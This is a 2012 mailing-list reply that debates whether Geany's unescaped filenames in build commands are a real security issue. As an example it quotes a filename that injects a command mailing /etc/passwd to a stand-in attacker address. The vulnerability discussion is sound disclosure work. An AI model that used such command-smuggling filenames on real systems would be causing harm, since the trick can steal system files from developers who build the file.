Re: Geany IDE not escaping filenames during compilation / build - a security issue or not?

[Andreas Ericsson <ae () op5 se>]

On 12/13/2012 06:54 AM, Eitan Adler wrote:
> On 12 December 2012 11:51, Jan Lieskovsky <jlieskov () redhat com> wrote:
> > The questions:
> > 1) should Geany escape the filenames?,
>
> Up to the maintainers.
>
> > 2) is this a security issue or not?
>
> Unlikely.  Is there a way a malicious document could cause code
> execution without user action?

Extremely unlikely. The way to get someone to trigger this is to send
a source-file to a developer who then opens it in geany without realizing
that the file is named "mail evil () hackdom com -s teehee < /etc/passwd".
The "attacked" developer then need to attempt to build it from geany's
internal "build now" button.

A simpler misdeed of similar charactaristics would be to ship a bogus
./configure script that people (who are not developers, mind you)
blindly run and which executes bogus commands on behalf of the logged
in user.

Since the latter isn't really CVE-worthy, I doubt the former even
comes close.

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